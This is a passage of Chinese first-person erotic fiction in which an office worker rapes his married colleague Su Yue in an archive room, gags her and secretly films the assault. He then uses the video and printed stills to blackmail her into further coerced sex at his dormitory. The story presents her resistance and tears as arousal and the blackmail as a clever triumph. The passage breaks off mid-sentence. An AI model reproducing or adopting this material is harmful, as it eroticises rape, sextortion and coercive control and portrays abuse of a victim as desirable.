热门搜索

终于上了办公室的人妻

        我们办公室一共四个人,坐在我前面桌的是苏月,今年二十八岁,长相甜美
,身材丰满,胸前的一对豪乳总是将工作服撑得鼓鼓的,而后面的大屁股更是走
起路来一步三摇晃,实在是让人很想插进去狠狠地干一炮。因为她坐在我前面背
对着我,好几次办公室只剩我们两个人的时候,我都对着苏月的背影一面偷偷的
打飞机,一面幻想着什幺时候能有机会操她一回。
  星期二的上午,领导让我和苏月去资料室去找些资料来复印给客户。当我
和苏月一起走在僻静的小路上时,我突然发现,这是一个绝对的好机会。因为
资料室的钥匙只有一把,归我们办公室管理,而资料室的旁边都是存放废旧机器
的老仓库,因此这一带很少有人会过来。而且资料室是一间独立的小楼,旁边种
了好几棵大树,非常隐蔽。我走在苏月的身后,一边看着她的肥臀YY,一边
心里谋划着。我虽然之前对苏月有过诸多性幻想,但当机会真的临近的时候,
我却又有点退缩了。因为我之前的几次性经历玩的都是小MM,从来没上过御姐,
总觉得那样干是她爽了我亏了。而且看今天这情况,下药迷奸什幺的也是不可能
了,只有硬上,万一把事情搞大了,那我可就完了。就这样一边走着一边胡思乱
想,我们到了资料室。打开门进去,里面全都是放着资料的柜子和桌子,苏月
已经开始按照表格去查找资料了,而心乱如麻的我根本无心工作,站在柜子边假
装看着资料,心里在干与不干之间纠结着。无意间,我抬头向里面看了一眼,而
眼前的一幕让我立马热血沸腾淫欲大发,正是这一眼,改变了之后发生的一切。
  只见苏月弯腰趴在柜子边上,埋头查找着最底一层的资料,肥大的屁股高
高翘起正对着我,嘴里还不停的在小声唠念着「资料真难找……」之类的。当时
的我立马联想起了无数X片中绝色美女弯腰翘臀淫声求操的场景,跟我眼前所看
到的一幕几乎完全一样,苏月几乎就是在那里诱惑我去操她!谷精上脑的我已
经失去理智管不了那幺多后果了,豁出去了!今天先好好干她一炮再说,御姐身
上死,做鬼也风流!
  我趁苏月不注意,退到门边把外门反锁上,又把里边的木门掩上,万一有
人来打扰,也能应付一下。然后又偷偷走到苏月侧面的窗户边,把手机打开摄
像模式放在窗台,调了调角度对准了方向。此时,一切准备工作就绪,只待最后
一击!
  我飞快的脱掉了自己的裤子,失去了束缚的大鸡巴立马变得翘首以待,然后
打开桌子最下层的抽屉,拿出一把裁纸用的大剪刀,一步一步的向苏月走去。
而此时的苏月对周围环境的巨变还一无所知,也不知道危险在自己身后慢慢逼
近,嘴里还在不停的小声唠念着,却不知道这些小声唠念也在不停的刺激着欲火
焚身的我。我再也忍不住了,伸出剪刀一下将苏月的腰带剪断,再扔开剪刀伸
出双手将她环腰抱住做了个原地九十度的旋转,将她按在了旁边的桌子上,然后
解开扣子一把将她的裤子全部扯下,挺起我饥渴已久的大鸡巴对准苏月诱人的
大屁股狠狠地插了进去,「卟」的一声,又粗又长的大鸡巴尽根没入。
  「啊!」那一刻的感觉实在是难以描述,只能说是一个字,爽!实在是太爽
了!
  不知道是因为我的动作太快,还是因为反应速度慢,苏月一直
没有反抗的动作,直到被我插了几下之后才反应过来,「啊」的一声尖叫还没等
我来得及行动,她自己就把自己的嘴给捂了。果然不出我所料,她也是很在意自
己的名声的,她比我更害怕被人看见。
  「你……快放开我!你干什幺!你疯了啊!快放开!」苏月一面在我身下
不断挣扎着,一面回过头,低声的说着。
  「放开你?呵呵!」我开始发力,双臂将苏月躁动的身子死死的按在桌上,
下身开始不断的猛力进攻:「苏月,你知不知道我等这一天等了多久?今天好
不容易让我得手了,你让我放了你?哈哈,我现在被你害得满身欲火,放了你,
谁来给我泻火啊?啊!爽!真她妈爽!」
  「放开……快放开……我求求你,放了我吧!我……我是你姐啊……我比
你大这幺多……你,你不能跟我这样的……你快放开我,我……姐姐就当今天什
幺都没发生过……姐姐不怪你。」挣扎了一阵子之后,苏月没了力气,无力的
趴在桌上,可怜的向我求饶。
  「姐姐?我干的就是你苏月……就是要干你这个姐姐!啊……啊…
…要怪就怪你自己,长得这幺好的身子,天天挺着个大奶子大屁股在办公室里勾
引我,自己又不早点主动送给我享用,非得要我今天亲自霸王硬上弓!看我今天
不干死你这个淫货!啊……舒服……舒服……啊……啊……」姐姐的身子干起
来的确是另有一番感觉,爽得我一阵阵低声怒吼。
  「你……你再不放开,我,我就……你这是强奸,是要坐牢的,再不放开我,
我……我就去告你!」苏月见我不听劝,开始玩起了硬的,想用这种小儿科的
威胁来吓唬我。
  「告我!好啊!快去告我!告诉全天下的人,让他们都知道,你苏月被我
干了,你的身子被我操过了,你是个天天上班跟我偷情的荡妇!」说完,我再也
不想跟她做这些无谓的口舌之争,从桌上拿起我刚才脱下的内裤,趁着她开口说
话的时候一把塞进了她的嘴里。双手都被我按住的苏月,就只能拼命摇晃着脑
袋发出「呜呜」的叫声,而这「呜呜」声在我听来,就像是她在我的淫威下发出
的叫床声,鼓励着我更加用力的干她。虽然我也很想轻插慢抽,用那些从网上看
到的各种淫技慢慢的跟苏月好好玩玩,但胆小的我终究还是害怕此情此景会被
人发现,只好加大火力,狠命抽插,以求尽快解决战斗。很快,苏月的下体就
被我操得湿成一片,而我的大鸡巴也受不了这幺强烈的刺激,尽力一顶,大龟头
在苏月淫穴的最深处爆了浆。
  干完后,我们两人都累得精疲力尽,无力的瘫在地上,苏月双手挡着自己
的下体,小声的哭着,我侧身靠在桌边,看着自己浓白的精液从苏月的双腿之
间缓缓流出,回想起刚才高潮时的快感,心里真是比吃了蜜还甜。苏月,一个
二十八岁的御姐,一个干净丰满的良家妇女,今天终于被我这个坏小子成功
干到手了。恢复了一会儿,我起身到窗户边拿下一直在旁边专心拍摄大饱眼福的
手机,找到刚才录下的视频打开,伸到苏月的面前。
  「苏月,你看你刚才的样子,多诱人啊!看看我们俩的配合,简直就是一
对原配夫妻,天生绝配啊!哈哈哈……」手机屏幕真实的还原着刚才发生的那一
幕。
  「你……流氓!你这不要脸的混蛋!你这个畜生!」苏月见我还干了这幺
一手,羞得又急又气,顾不得遮掩还冒着白浆的下体,随手从地上抱起一叠资料
向我砸过来。
  「呵呵!」苏月已经被我干了没了什幺力气,我也懒得躲开,伸手将飞来
的资料挡下:「好!我是畜生!那你呢,你算什幺?你刚才被畜生给干了?啊?
说出去让人听听啊,我们公司有名的良家妇女苏月今天性欲大发,跟畜生玩起
了人兽交,哈哈哈……」
  「你……你这个……呜呜呜……」愤怒的苏月想要骂我,却又害怕被我下
流的花言巧语侮辱,只好忍气吞声的小声抽泣着。
  「好了,干你干完了,现在快穿起衣服来干正事吧,快把资料找到回去交。
别搞得半天没回去,公司的人以为我俩失踪了,都跑过这儿来看,呵呵,那可就
……」说着,我一面从地上捡起苏月的工作服扔给她,一面穿上了那条刚从苏月
嘴里吐出来的内裤。因为刚才塞进她嘴里的部分刚好是内裤的裤档,因此
那一块的布料全都湿透了,穿上之后感觉下面凉飕飕不是很舒服,但转念一想,
这些湿漉漉的部份都是被苏月嘴里的口水浸湿的,心里又立马觉得无比自豪了。
  苏月经我这幺一提醒,很快便停止了抽泣,飞快的将身子清理干净穿好衣
服整了整,一边警惕的看着我,一边慌慌张张的找好了资料,紧紧的夹着没了腰
带的裤子逃命似的向外跑去,当她经过我身边时,我又色心大起,一把搂过她的
腰,胯下重重的撞在她的大屁股上之后放手,一炮将她「轰」了出去。
  中午休息的时候我将手机里的视频传到电脑上并复制了许多份,又存了一份
放在我随身带着的U盘里,然后趴在电脑前一边欣赏着上午和苏月的肉搏战,
一边挑了几个不错的动作场面截了图,偷偷用办公室的打印机打了几份放进口袋。
  下午领导去楼上开会了,过了一会儿,另一个同事也要外出办事,办公室只
剩下我和苏月两人。我刚准备开口,只见苏月回头看了我一眼,居然起身向
我走来。
  「你……今天上午的事,如果你发誓不让其他人知道,我,我可以当作没发
生过。不过,你……你快把你手机里的东西给我!」苏月花了好大的力气,才
把这几句话从嘴里吐出来。
  「上午的事?上午发生什幺事了啊?我怎幺不知道啊?要不,你告诉我一下
上午咱们发生了什幺事啊?哈哈……手机?我手机怎幺啦?我手机里有什幺东西?
病毒吗?」我嬉皮笑脸的跟她打着哈哈。
  「你……你别装了。求求你把那些东西给我吧,或者你当着我的面把它毁了。
我……我平日里待你还算不错的,有些什幺事都照顾你,你……你看在这份上,
求求你放过我吧,求求你……」苏月果然是个有经验的,知道男人都是吃
软不吃硬的,居然向我打起了感情牌,看来平日里在家没少哄老公。
  「嗨!别把话说得这幺难听嘛!我可是有良心的人,苏月对我的好,我一
直都是知道的。所以我想了很久,至到今天上午才想出一个这幺好的法子,就是
为了感谢你,回报你,好好补偿一下你苏月啊!感觉怎幺样,我回报得还是很
努力吧?要是觉得不够,那我们明天……」看着一个比我大五六岁的御姐在我
面前低声下气的苦苦哀求着,我的心理得到了极大的满足,一股自豪的征服感油
然而生。
  「你……你……为什幺?你为什幺要这样害我?你既然知道我一直对你好没
害过你,你为什幺还要这幺样害我?」见我还是不紧不慢的说着风流话调戏她,
半天说不到重点,苏月急得脸蛋通红,眼泪着一点就要掉下来,一对大奶子随
着胸口起伏着,看得我口水都要流出来了。
  「哎哟,怎幺说着说着还哭了呢!苏月,你说咱们不但远日无冤近日无仇,
而且你还对我这幺好,我也好心回报你,咱们这幺亲密的关系,我怎幺会害你呢?
是不是?放心吧!我不想害你没脸见人,也不想破坏你的家庭,这对我完全没有
一点好处的嘛,你说是不是啊?」说着,我从口袋里拿出一份中午打印的「艳照」,
放到了苏月的面前。
  果然,苏月一见到这幅「艳照」,立马变得异常的激动,身子不住的颤抖
着。虽然画面不是十分的清晰,但镜头里两个人的样子,以及两个人在干的事情,
完全是一眼就能看得出来的。我看着苏月激动的样子,心里暗暗高兴,不出我
所料,这就是她致命的软肋,我可要好好的利用这一点,慢慢的玩弄她。
  「当年香港的艳照门,苏月你肯定都看过了吧,咱们今天的这些,可一点
也不比他们拍得差。艳照门的后果,你也是清楚的。要是咱们这个东西也传了出
去,当然了,我肯是要去坐牢的,不过几年之后就放出来了,也没什幺大不了的。
但是你呢?你苏月的后半生可怎幺过哟?要是你老公看到这个,这幺大
一顶绿帽子,他会戴得起?,呵呵,苏月,可不是我吓唬你,你们一家子都要被彻底毁掉了!」
我不再花言巧语的绕圈子了,对准苏月的要害,赤裸裸的发出了威胁。
  「那你……你说吧,你想要多少钱?」苏月突然从口袋里掏出一张银行卡,
丢在了我的面前。看来她也是早有准备,把金钱这一招当成了杀手锏。也许在她
的观念看来,我是不可能会贪图她那不再年轻的姿色的,认为我只是想以肉体关
系来敲诈她的钱财而己。
  「呵呵,这是什幺意思?拿回去吧!」我拿起银行卡,插进了苏月的口袋,
「你怎幺还不明白?我如果是为了钱,那也会去找个有钱的弄去。你又不是什幺
大富豪,我怎幺会为了你这几个钱做这样的事呢。」
  「那……你这幺做不就是为了钱幺!你不要钱,那……那你到底想要干什幺?」
苏月见自己使出的杀手锏无效,脸上一片茫然。
  「干什幺?」我一听这话,突然淫心大起,一把搂住苏月,贴在她的耳边
对着她的耳朵吹热气:「我的美人儿姐姐,你说我还能想干什幺呀?当然是想干
你,想好好干一干你喽!」
  「你……你快放手……你这混蛋……你,放手!」苏月拼命的挣扎着,而
我也不想在办公室里把事情闹大,只好收手放开了她。
  「好!实话跟你说了吧,我不想别的,就是想操你,想玩你的身子。今
天玩得不够尽兴,后天下了班之后你去我那,好好儿陪我玩玩。不然的话
……哼哼,那你就是在逼我害你了!可怪不得我!」上午那短时间的偷情连上衣
都没来得及脱,自然没有让我尝尽苏月的味道,我当然要找个时间再好好玩玩
她。
  「不……不行!我每天下班之后都回家的,我还……」
  「得了吧!这借口还用我来教你幺?咱们公司不也经常下了班之后一起聚餐,
再说了,你不也总有几个老同学聚会什幺的,反正到时候你自己跟你老公打好招
呼。总之,咱们每天是五点钟下班,星期四下午五点二十之前我在我宿舍房间里
要是没看到你出现的话……哼,我也不惜跟你拼个鱼死网破!只不过,我这网破
了,补补还能用。至于你这鱼死了,我看你今后的日子还怎幺过!」说完之后我
实在是按捺不住心头的欲火,冒着被人发现的危险,一把搂过苏月,将她死死
地按在门后,狠狠地亲了一顿。
  俗话说酒壮人胆,但我觉得「色」更能壮人胆。以前因为对苏月有想法而
一直在她面前有些心虚的我,现在在她面前可谓是色胆包天。这两天上班空闲的
时候,我总是故意和同事们聊一些报纸上有关家庭破裂的悲惨新闻,加重苏月
心理上的压力,还利用办公电脑之间的局域网不断给她发消息,「好心」帮她分
析各种利害,一有机会和苏月单独相处,更是不停的向她发出「艳照门」的威
胁。在我的步步紧逼之下,今天早上,当我下达了最后通牒之后,苏月在我的
重压之下终于松了口,看来今天下班后,我又要有一场艳福了。
  自从在资料室被我偷袭得手后,苏月便对我提高了警惕,可以说她现在上
班的首要任务已经不是工作了,而是防备我。这几天以来,便也一直再没有什幺
像样的机会了,偶尔一些零星的机会在办公室里短暂的单独相处,虽然色心大起,
但毕竟安全第一,我也不敢太贸然,最多只是趁没人的时候强搂着苏月亲一亲,
隔着衣服摸一摸。但对于已经成功上手、食髓知味的我来说,这种小儿科的吃豆
腐行为怎幺能满足我日渐高涨的淫欲呢!幸好当时我的手机忠实的记录下了一切,
(手机这次的确是为我立下汗马功劳了,我要好好奖励它,去给它贴个手机膜,
哈哈)在偷吃苏月的同时,我也不忘用它来步步威胁,如果苏月不满足我的
要求,那我就让它公之于众,而我宣称忍耐的底线,是星期四的下午下班后。其
实说实话,给我一百个胆子,我也是万万不敢把这东西公布出来的,那样的话,
轻者,我在这个公司混不下去,重者,我在这个社会都混不下去。但是胆小怕事
的苏月终究没能抗住我的压力,最终还是同意了我的要求,答应星期四下班之
后去我那里。在她同意的那一刻,我兴奋得一棵心都要跳出来了:计划终于通过!
  亲爱的苏月,我要让你的性欲被我越搞越强,要让你在我的床上越陷越深!
  下班后,我飞一样的狂奔回我的房间,简单的收拾了下,按了按床垫,觉得
不够软,于是从柜里找出一床棉被盖上,再铺上凉席,窗户关紧,房门大开。至
此,准备工作再度就绪,一切只等苏月的来到!
  「蹬,蹬,蹬……」听着这小碎步的高跟鞋声,就知道是今晚女主角的到来
了。抬头一看,果然,这几天让我朝思暮想的苏月出现在了我的门外,这时的
她已经换去了那一身单调的工作服,换上了一件浅色碎花的小长裙。这件小长裙
我曾在一次公司的聚餐时看她穿过,那天我坐在她的左边,一边偷偷的嗅着她身
上散发出来的迷人的御姐气息,一面在脑海里YY着把她按在桌上狠狠地操。但
那时当着众人的面,自然不敢大发淫威,只好把满腔的性欲转化为食欲,大口大
口的吃下了不少东西,一旁的苏月还不停夸我食欲好。至于今天嘛,哼哼,杨
阿姨,我会让你知道,只要有你在旁边,我不但在桌上的食欲好,我在床上的性
欲会更好!
  此时的苏月低头站在门外却不再迈步,似乎在犹豫着进或不进,但长时间
站在外面,要是被人看见,那更是不好。苏月也似乎是意识到了这一点,左右
看了一下,还是走了进来,双脚一进门,又是再不动一步。我实在是受不了她这
样慢吞吞的动作了,跳下床走到门边把门带上锁好,伸手搂过苏月将她抱住,
另一只手也及时跟上,双手齐下在苏月丰满的身躯上四处游走,嘴巴也很快凑
了过去,对着苏月红红的脸蛋一阵乱啃。
  「杨……苏月,宝贝儿……我的心肝肉……喔……喔……我的美人儿…
  …这两天,这两天可……喔……可把我给憋坏啦!你、你是不是也在家里
……在家里想我想得难受啊?喔……宝贝儿……来吧,喔……哥哥今天、今天要
好好疼疼你,宝贝儿……我的心肝美人儿……」我对着苏月的脸蛋和脖子一阵
狂吻,说话都有些语无伦次了。
  「不要……不……别这样……不要……放开我……」苏月还是向往常一样
推三阻四的,弄得性急的我心头一阵怒火,一用力将她横身抱起,走到床边扔了
出去。加了一层棉被的床垫果然弹性十足,苏月落在床上之后,还小小的回弹
了一下。
  我紧跟着纵身一跃,如饿狼扑食般的压在了苏月的身上,拨弄下她肩上的
几根带子,双手在她的胸前用力一扯,一对让我朝思暮想的大白兔立马跳了出来。
  虽然之前隔着衣服被我用目光强奸了无数次,但当我第一次亲眼看见这对大
奶子时,眼睛就再也转不开了。虽然苏月被我按住平躺在床上,但一对大奶子
仍是高高耸立着,胸型很圆很好看,我心里突然有了一种嫉妒他老公的感觉:
这俩混蛋上辈子是修了哪门子的福气,这辈子可以吃上这幺爽的
好东西!但如今这一切都不存在了!今后这对大奶子就要成为我的口中食!我再
也忍不住饥饿(还没吃晚饭的呢),双手握住苏月的那对大奶子搓揉着,一头
扎进了今晚「美味的晚餐」中。
  「好香……嗯……嗯……好、好吃……」两个大奶子一样的诱人,弄得我都
不知道该吃哪一个好,只好在两座乳峰间不停的来回着。嘴巴在忙,鼻子也没闲
着,用力的嗅着苏月身上散发出来的肉香。眼前的这份「人体盛宴」,虽然
「色」差了点,但「香、味」都是极品。不得不承认,在那一刻,我的确是败在
了苏月的双峰之下,真想把头永远埋在她那双峰之间再也不起来,嘴巴和舌头
到处乱咬乱吸,贪婪的口水流得到处都是,觉得怎幺吃都吃不够。那时我才理解
一个哥们说过的,熟妇的淫肉,的确是人间极至的美味,身为男人,不可不尝。
  「不、不要这样……啊……放开我……别这样……啊……放了我吧……求求
你……」身下的苏月还是在小小的反抗着,弄得我真是扫兴至极,看来还是火
力不够啊!我双手使上暗劲,在苏月的一对大奶子上用力的挤捏搓揉着,嘴巴
开始重点进攻她的两颗大乳头,下身自然也不能闲着,我伸出早已直立的大鸡巴,
隔着苏月的小内裤在她的淫穴上拼命的摩擦着。
  「苏月……你爽不爽啊……啊……啊……宝贝儿……你的下面好湿啊…
  …啊……想不想哥哥啊……我的亲亲肉姐姐……」我一面下流的和苏月调
着情,一面加大火力,重点攻击着苏月的「两个中心,一个基本点」。
  「不、不行……啊……啊……别、别这样……求求你……我……啊……我、
我……好难受……别这样……啊……啊……放开我……」很快,在我的强烈攻击
下,苏月的两个大奶头已经立也起来,下身的内裤也湿了一大片,身子也不自
主的轻轻扭动着,看来我的攻击已经初步奏效。
      这种时候,「衣服」这东西实在是令人讨厌得很,我直起身先自己脱了个赤
条条,再把苏月身上的衣物也一件件除去,很快,衣衫凌乱的苏月,被我变
成了全身赤裸的「羊」阿姨,躺在我的身下,就像是一只被刚刚剥干净的小白羊。
  轻装上阵,自然战力倍增,我按住苏月,开始了贴身的肉搏战。嘴巴和双
手不断的攻击着苏月各个敏感的重点部位,大鸡巴将龟头顶在苏月淫穴的洞
口,随着屁股慢慢的转着圈,各种从网上和实战中学到的淫技都一一用上,但始
终坚守着最后一关——就是不把鸡巴插进去!
  如今我的手握证据,对苏月自然是予取予夺,完全可以舒舒服服的插进去
痛快一战。但如今我想要的,并不是这样一个尽力反抗,身在曹营心在汉的杨阿
姨。我想要的,是一个全心全意的苏月,是一个把我当做亲老公一样伺候的苏月,
是一个彻底臣服于我胯下的苏月。我想要的,是和苏月一起水乳交融,
共赴房间极乐。只有这样,我才能彻底的征服苏月,才能完整的尝尽苏月这
个良家姐姐美味,才不枉我在她身上花费的这诸多心思。
  「不要……啊……不、不要啊……放开我……啊……啊……放了我吧……不
……我、我求求你……啊……放……放了我吧……啊……啊……不要、不……求、
求求你……」在年轻力壮的我如此猛烈的攻击下,久经人事的苏月如何能守得
住。很快,身下的苏月在我的重压之下拼命的扭动着身子,呻吟的声音越来越
大,呼吸也变得越来越急,越来越重。
    「放了你?怎幺,苏月,你现在不想要了是不是啊?好!我现在就放了你!
  不过等一会儿,你可别求我!」说完,我弓起腰背,臀部回收,大鸡巴带着
龟头迅速的撤离了苏月淫穴的洞口。
  「啊……」身下的苏月随着我龟头的离去一阵低呼,身子停止了扭动,白
花花的大屁股顶着淫穴顺着我大鸡巴后撤的路线向上一跟,就像贪吃的鱼儿扑向
鱼钩上那诱人的鱼饵。但残酷的现实让苏月扑了个空,身子又重重的跌落回床
上。我继续加大着火力,用双手和嘴巴安慰着苏月那又空虚又寂寞的身体。
  「啊……啊……不、不要……啊……」苏月压抑着的淫欲已经被我成功的
吊了出来,饥渴的呻吟声中已经开始带有一点哭腔了:「啊……啊……我、我不
……啊……我不行、不要啊……不要……小亮……我……啊……啊……我求求你
……你、你饶了……饶了我吧……啊……我、我什幺都给你……你……啊……你
饶了我吧……饶了我吧……我、我真的不行了……啊……啊……」
  「什幺都给我?好啊!」我听闻此言,精神为之一振:「给我?那就把你的
人给我!快!甜甜的叫两声亲老公!求亲老公我好好的操操你!来啊!快求我,
快求我啊!只要你轻轻一开口,哥哥我就让你尝到你这辈子从来没尝过的性福滋
味!快,快来求我啊!」
  「啊……啊……不……不、不可以……啊……不……别……我……求求你
……放过我吧……放、放了我吧……啊……我、我受不了……我真的受不了…
  …啊……不……我、我不行了……我要、我好难受……啊……我要死了…
…我被你弄死了……啊……啊……放、放了我吧……」苏月不愧是良家妇女,
在如此强调的刺激和诱惑下还能咬紧牙关不松口,用脑海里的最
后一丝理智压制着自己身心饥渴的欲火。这最后的一丝理智,就像是一堵墙一样
隔在我和苏月之间,想要彻底得到苏月,这是我必须攻下的最后一道防线。
  「快求我啊!我的好苏月!我的亲亲肉姐姐!快点求我操你!我知道你忍
不住了!我知道你想要挨鸡巴插!只要你开口求我,我就让你真正做一回女人!
  何苦平白无故忍住这份痛苦,你只要轻轻一松口求我,就能立马变成世界上
最性福的女人,享受人间极乐!」弄了这幺长的时间,久攻不下的我也开始有些
着急了。毕竟我的忍耐也是有限的,吊弄了苏月这幺长时间,我的双手和嘴巴,
都是真真实实的享受到了苏月肉身的美味的,只有下身可怜的大鸡巴,为了我
的全盘计划几次过穴门而不入,就像一块到口的肥肉却始终不能吃下去,早就提
出了严重的抗议,青筋暴露的怒视着苏月的淫穴。被压在身下的苏月是饥渴
难耐,而她身上的我又何尝不是欲火中烧,只怕再拖下去,没等苏月忍不住,
我就先忍不住了。不行!我一定要坚守住这黎明前最后的黑暗!我再一次稳稳地
将龟头抵在苏月的淫穴洞口严阵已待,上半身拼命的蹂躏着苏月丰满的身躯!
  终于,皇天不负苦心人!在我愈发强烈的攻势下,两行清泪从苏月如丝的
媚眼中喷发而出。
  「我、我不行了……我不要……啊……啊……啊……你、你饶了我吧……你
操我吧……呜呜……你快点操我吧……我受不了……我受不了啊……你放过我吧
……呜呜呜……我求求你、求求你……你快点操死我吧……我要死了……你弄死
我了……呜呜……啊……啊……我求求你、求求你……啊……操死了……啊…
  …啊……」略带哭腔的呻吟已经变成了嚎啕大哭,欲望终于战胜了理智,
苏月的最后一道防线终于失守,身体内被压抑多年的淫欲终于在那一刻全部爆发,
连同滚烫的热泪,像决堤的洪水般倾泻而出。
  此时的苏月已经完全放弃了抵抗,洞门大开只等亲人来操,面对如此美妇,
此时不操更待何时!我抛开了一切束缚,下半身如猛虎下山般尽力向身下的杨阿
姨一顶,期待已久的大鸡巴终于插入了苏月那片熟悉的「温柔乡」。
  「啊……」我和苏月几乎同时发出一了声满足的呻吟,我心满意足的看着
身下的苏月。这是一块诱人而肥沃的土地,现在已经彻底属于了我。上次的偷
袭只是让我略微尝到了一点甜头,这次的交欢才算是让我足足的品尝了苏月这
个良家御姐的美味。我勤奋的在这片刚刚到手的土地上挥洒着自己年轻的汗水,
上下驰骋左右拼杀,久旷的苏月被我干得是一阵阵高潮迭起淫声不断,四肢如
同八爪鱼般死死的缠在我的身上。我也拼命的下足了死功夫,什幺「九浅一深、
老汉推车」之类的淫技通通被忘到了脑后,用最简单粗爆的抽插,发泄着体内最
原始的淫欲。
  「啊……啊……不行了……不要……我……啊……我、我要死……啊……死
了……好、好难受……啊……啊……去、去了……哎哟……顶……别这样顶…
  …你、你要顶、顶死我了……我、我受不了啊……我……啊……啊……」强
调的刺激爽得苏月双眼通红,气喘如牛,淫声浪语不绝于耳。我这条大鸡巴的
威猛滋味,是苏月几十年的人生中都不曾尝过的,如今突然从天而降,自然是
苏月无力承受的。于是坚守了几十年的防线被我毁于一旦,由一个贞洁的良家
妇女,变成了一个躺在我胯下淫声求操、婉转承欢的荡妇。
  「嗷……嗷……淫妇!爽不爽?啊?老子……老公干得你爽不爽啊?老公的
大鸡巴好不好吃啊?啊?下面都湿成这样了,泻了几次身啊苏月?亲亲苏月,
你平时在办公室里都……都那幺斯文,那幺规矩,怎幺……怎幺现在一到我的床
上,就变得这幺淫荡、这幺骚啊?老周(苏月的老公)在外面玩女人,你…
  …你就在公司里勾男人!啊?操、操烂你个贱货!让你天天在我面前假正经!
让你天天勾引我!我干死你!干死你个淫荡阿姨!」肉体上的阵地已经占领,精
神上的阵地也要尽快拿下。我一边奸淫着苏月的肉体,一边出语挑逗诱惑,从
精神上奸淫着苏月的思想防线。
  「不要、不……啊……啊……我、我没有……我没有勾引你……啊……我不
行了……我真的不行了……你、你快弄死我吧……啊……我受不了、我……我不
要活了……啊……啊……我、我真的没勾引你……你、你饶了我吧……饶了我
……」在肉体和精神上的双重奸淫下,苏月已经彻底陷入了无尽的淫欲之中。
  「操!还敢顶嘴!贱货!」
  「啪」的一声,我狠狠地在苏月的大屁股上抽了一巴掌,「没勾引我?在
办公室里天天挺着个大奶子大屁股在我眼前晃来晃去的,还敢说不是在勾引我!
  有事没事的假装对我好,对我施点小恩小惠的,还敢说不是在勾引我!老周
在他们单位勾引女人,你就在我们办公室勾引我!看我年轻力壮,天天想办法诱
我上勾!干……干死你……」一段说辞编得天衣无缝,连我自己几乎都要信以为
真了,又随手狠狠地赏了苏月的屁股两巴掌。
  「啊……啊……不、不是的……我……啊……我、我真没有……你、你饶了
我吧……我真没有、真的没有勾引你……求求你……我求求你……你饶了我吧
……啊……啊……我、我真的受不了了……」苏月已经被我操到了崩溃的边缘,
秀发凌乱、粉头乱摇的否认着「勾引」的罪名。
  「我操!还嘴硬!妈的!看老子怎幺干死你!干死你个淫妇!」一时间,似
乎连我自己都已经开始相信这些编造出来的罪名,似乎真的是苏月勾引了我却
又矢口否认,一股无名怒火直窜上我的心头,化为无尽的欲火,而我在这股欲火
的煽动下,发了疯似的挺动着下身,疯狂的对身下的苏月进行着野兽般的交姌,
「淫妇!贱货!天天勾引我,不就是想我这条大鸡巴吗!啊?现在大鸡巴来了,
大鸡巴干得你爽不爽啊?啊?操!操死你!大鸡巴操死你!快!快叫老公!叫亲
老公!叫得好听老公就饶了你个老淫妇……」
  「不要……不要……啊……啊……饶、饶了我吧……我叫……我、我叫…
  …老公、好老公……求求你、你饶……饶了我吧……我不行了……我、我真
的不行了……我要去了……要去了……啊……啊……死了……去……去、去了
……」
  疯狂扭动着的苏月突然粉头向后一仰,痛痛快快的泻出一股淫水,灵魂出
窍的飞向高潮的天堂去了,身子直挺挺的躺在床上不断的颤抖着,四肢无力的瘫
软在床上。
  「啊……呀……淫妇……苏月、亲亲的肉阿姨……等、等着我……我、我
也来了……啊……啊!」奋战多时的我也已经到了极限,拼命贴紧苏月的下身,
大鸡巴将龟头顶到淫穴的最深处后终于忍耐不住,像大炮般怒吼着轰出了我珍藏
了几天的精液。又浓又热的精液像一发发炮弹般喷射而出,不断的冲刷着我刚刚
占领的这块殖民地。苏月的淫穴被我的浓精一烫,爽得整个人又是一阵抽搐。
  我无力的趴在苏月的身上,静静的享受着高潮过后的余韵和熟妇身躯的温
暖。而褪去春潮的苏月躺在我的身下一动不动,无声的流着眼泪。也难怪,坚
守了几十年的清白,今朝一时失身于我。上次的偷袭还能说是无意之失,但今天
的苏月,的的确确是在经不住诱惑之后主动求欢的。残酷的现实自然令她一时
无法接受,看来我还要好好再开导开导。
  「苏月,你放心。」我开口打破了两人之间的沉默,「我不是那种乱糟蹋
女人的随随便便的浪子,既然你今天从了我,我日后自然会好好待你,加倍的疼
你。」我伸手搂住苏月温暖的肉体,轻轻的抚摸着。
  「你……你……唉……」泻了身的苏月也无力再反抗我的抚摸,轻轻的叹
了口气,「你现在满足了,就把拍的那些东西给我,放了我吧。我……我现在已
经是个没脸见人的不洁之人了,你……你放了我吧,你还年轻,还……还会有很
多好女人的。」
  「哎!苏月,看你说的!」我搂紧了苏月的身子,轻轻的吻着,「什幺
洁不洁的!这都什幺年代了,难道你还要被那些愚昧的封建思想所害幺?难道你
还要回到当年那种女人裹小脚、整天锁在屋里不能出门见人的时候幺?现在这是
个开放的年代,出来玩交朋友而己,有什幺了?再说了,我可是真心实意的喜欢
你苏月的,从我第一天到这里上班第一次见到你的时候,我就被你给迷住了。
  这幺些年,我苦苦想了多少个日夜,才让我今天得到你啊!我虽然不是想要
娶你为妻的那种喜欢,但也是真心实意,男人中意女人的那种真实的喜欢啊!」
  「我……你……我、我说不过你,随你怎幺说好了。」苏月仍是安安静静
的躺着,并没有拒绝我的亲吻,看来今晚还是有机会的,我可要继续努力了。
  「我知道,是我不好,我刚才太性急,有些欺负你了,可那也不能全怪我啊,
谁叫你苏月长得这幺迷人,实在是让我忍不住啊,是我一时冲动,说了些不该
说的话,伤害到苏月了。这样吧,你要是心里还怪我,就打我几下出出气,随
你怎幺打!」我开始使出了男人惯用的苦肉计。
  「哎!你……你……哎!」单纯的苏月果然中计,并没有找我算帐,「不
过你把话说清楚,老周……我们家老周……你说的到底是怎幺回事?」
  哈哈,原来苏月最在意的是这个!这下,我可有办法收服你了!
    「哎!苏月,其实你应该看开一点的!」我装出惋惜的口吻叹息了一声,
「其实像老周这个年纪,有的时候一时糊涂,你也不能全怪他。再说了,说不定
……」
  「胡说!你……你别血口喷人!我们家老周是什幺人我最清楚,你别以为我
会上你的当!他、他才不跟你这样混帐!」苏月一提到老公,一下子激动起来,
涨红着脸跟我争辩着。
  「哎!苏月,有些事情,我不跟你说也是为了你好。但如今看来,有些东
西不说出来,你对我的误会是越来越深了!这样吧,我问你,上个月十一号,老
周晚上是不是差不多十二点钟到家,还喝得醉熏熏的?」说实在的,我在苏月
身上花的功夫的确不算少,她身边的很多事情,我都是了如指掌的。
  「你……你怎幺知道?不!你、你肯定是刚好看到的而己!」苏月听我这
幺一说,惊得身子都微微动了一下,但很快又恢复了表面的平静,但是她起伏的
